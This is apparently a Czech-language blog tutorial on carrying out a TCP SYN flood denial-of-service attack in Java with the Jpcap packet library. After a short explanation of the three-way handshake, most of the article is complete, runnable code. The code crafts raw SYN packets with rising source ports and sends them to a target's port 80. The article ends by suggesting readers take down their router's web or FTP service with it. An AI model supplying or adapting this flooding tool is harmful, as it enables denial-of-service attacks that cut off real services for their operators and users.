Zpět na seznam článků     Číst komentáře (1)     Verze pro tisk

Implementace TCP SYN flood útoku v Javě

Autor: jech   
7.10.2013

Java má spoustu zajímavých knihoven. Jednou z nich je Jpcap, která souží pro odesílání a analýzu paketů. Díky tomu se dá napsat spousta zajímavých věcí. Třeba TCP SYN flood útok.


Knihovna Jpcap je vlastně wrapperem (obálkou) ke knihovně WinPcap na Windows. Možná se ptáte, proč jsem tedy k implementaci nevyužil rovnou C++ a WinPcap. Odpověď je prostá. Chtěl jsem vyzkoušet co knihovna Jpcap vlastně umí. Nic víc tom nehledejte.

Knihovnu jsem stahoval již více než před rokem a jakou verzi v projektech využívám se mi nepovedlo zjistit. Vy si můžete Jpcap stáhnout ze sourceforge.net a nebo raději odtud https://dl.dropboxusercontent.com/u/47668828/soom/jpcap.jar, abyste měli stejnou verzi jako já. V nejnovějších verzích Jpcap je totiž mnoho věcí odlišných. Projekt byl na sourceforge.net aktualizován naposledy v lednu letošního roku, nicméně nejnovější verze byla mezi soubory umístěna v roce 2004. Jak je to s tímto projektem dál nevím, hlavní ale je, že Jpcap svou funkci plní.

Pokud budete chtít ukázky kódu spouštět, nezapomeňte si také nainstalovat WinPcap knihovnu. Teď už ale k samotnému útoku a jeho implementaci.

TCP SYN flood útok

TCP SYN flood patří mezi DoS útoky a výsledkem takového útoku je zpravidla zablokování nějaké služby pro ostatní uživatele. Samotný princip je poměrně jednoduchý. Pro navazování TCP spojení se používá tzv. three-way handshake.


zdroj: http://cs.wikipedia.org/

Ten probíhá tak, že klient nejprve odešle paket s flagem SYN na server. Server odpoví paketem s flagy SYN a ACK (tj. potvrzuje požadavek na spojení) a klient následně potvrdí paketem s flagem ACK. Spojení je v danou chvíli navázáno.

Každý server má samozřejmě omezené prostředky a tím pádem omezený počet otevřených spojení. Pokud se útočníkovi povede navázat dostatečný počet spojení, nebudou moci ostatní uživatelé využívat služeb daného serveru.

Řada serverů navíc alokuje prostředky již ve chvíli, kdy obdrží SYN paket (tj. první paket z tree-way handshaku). Útočníkovi tak jednoduše stačí odeslat dostatečný počet SYN paketů, díky kterým server „napůl” otevře (ACK paketu ze strany klienta se již nedočká) velký počet spojení a vyčerpá všechny prostředky.


zdroj: http://cs.wikipedia.org/

Některé servery sice čekají s otevřením spojení na ACK paket od klienta, ale i to se samozřejmě dá implementovat. Jen by to bylo o něco složitější než tato ukázka.

Implemetace

Implementace je díky knihovně Jpcap opravdu jednoduchá. Je založena na odesílání velkého množství TCP paketů s nastaveným flagem SYN a rozdílným číslem zdrojového portu. Výsledkem je tedy mnoho otevřených spojení na různých portech.

K napsání útoku stačí jedna jediná třída, statická proměnná port (číslo portu, které se s přibývajícím počtem spojení zvyšuje) a pouhé 4 funkce – main, sendSYNPacket, macToBytes a generatePort.

Funkce main otevírá síťové zařízení a následně volá funkci sendSYNPacket pro odesílání SYN paketu. Vyjma zdrojového čísla portu, které se stále zvyšuje díky pomocné funkci, jsou jinak parametry odesílaného paketu vždy stejné. Číslo 80 v parametru udává port služby, na kterou se útočí. V našem případě tedy WWW.

Kód funkce main
  1. public static void main(String[] args) throws IOException, InterruptedException {      
  2.         NetworkInterface[] devices = JpcapCaptor.getDeviceList();
  3.         JpcapSender sender = JpcapSender.openDevice(devices[2]); //volba indexu zařízení
  4.         Inet4Address ipDst = (Inet4Address) Inet4Address.getByName("192.168.2.254");
  5.         Inet4Address ipSrc = (Inet4Address) Inet4Address.getByName("192.168.2.104");
  6.  
  7.         byte[] macDst = macToBytes("54e6fcb730e6");//převod mac adresy na pole bajtu pomocnou fcí
  8.         byte[] macSrc = macToBytes("001F2997053E");
  9.  
  10.         for (int i = 0; i < 650; i++) {
  11.                 sendSYNPacket(sender, generatePort(), 80, ipSrc, ipDst, macSrc, macDst);//80 - http, služba na kterou se útočí
  12.                 Thread.sleep(1);
  13.                 System.out.println(i+" /n");
  14.         }
  15.         sender.close();
  16. }

Nejdůležitější funkcí je samozřejmě sendSYNPacket, která odesílá, jak již název napovídá, samotný SYN paket. SYN paket je vlastně obyčejným TCP paketem s nastaveným SYN flagem. Ten se nastavuje v konstruktoru a je jako jediný nastaven na TRUE.

Dále jsou nastaveny parametry IPv4 protokolu. Krom nastavení TCP nejsou tyto parametry v tomto případě nijak důležité. Paket je také naplněn prázdnými daty. Na závěr je vytvořen ještě ethernetový rámec, kterému je spojen s TCP paketem.

Kód funkce sendSYNPacket
  1. public static void sendSYNPacket(JpcapSender sender, int portSrc, int portDst, Inet4Address ipSrc, Inet4Address ipDst, byte[] macSrc, byte[] macDst) throws UnknownHostException {
  2.  
  3.   TCPPacket packet = new TCPPacket(portSrc, portDst, 56, 0, false, false, false, false, true, false, false, false, 10, 0); //flag SYN nastaven na true,
  4.  
  5.   packet.setIPv4Parameter(0, false, false, false, 0, false, false, false, 0, 1010101, 100, IPPacket.IPPROTO_TCP, ipSrc, ipDst); //nastavení protokolu TCP
  6.  
  7.   packet.data = new byte[0]; //nulová data
  8.   EthernetPacket et = new EthernetPacket();
  9.   et.frametype = EthernetPacket.ETHERTYPE_IP;
  10.  
  11.   et.src_mac = macSrc;
  12.   et.dst_mac = macDst;
  13.  
  14.   packet.datalink = et;
  15.   sender.sendPacket(packet); //odeslání paketu
  16. }

Poslední dvě funkce jsou pouze pomocné. MacToBytes převádí mac adresu dodanou ve stringu na pole bajtů a generatePort neustále zvyšuje statickou proměnou třídy s názvem port.

Kód funkce generatePort
  1. public static int generatePort() {
  2.   port++;
  3.   if (port > 65535) {
  4.     port = 1;
  5.   }
  6.   return port;
  7. }

Kód funkce macToBytes
  1. public static byte[] macToBytes(String mac) {
  2.   mac = mac.replaceAll(":", "");
  3.   mac = mac.trim();
  4.   String[] hex = mac.split("(?<=\\G.{2})");
  5.   byte[] macAddress = new byte[6];
  6.   for (int i = 0; i < 6; i++) {
  7.     macAddress[i] = (byte) Integer.parseInt(hex[i], 16);
  8.   }
  9.   return macAddress;
  10. }

Testování implementace

Pokud máte doma alespoň běžný SOHO router, můžete implementaci snadno otestovat. Posíláním paketů na port 80 odstavíte na routeru WWW server, když zvolíte port 21, odstavíte FTP. Po ukončení útoky se router většinou do pár vteřin opět vzpamatuje.


Tento článek byl zakoupen na aukčním serveru www.clanky-v-aukci.cz.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.88/16

1  2  3  4  5    
(známkování jako ve škole)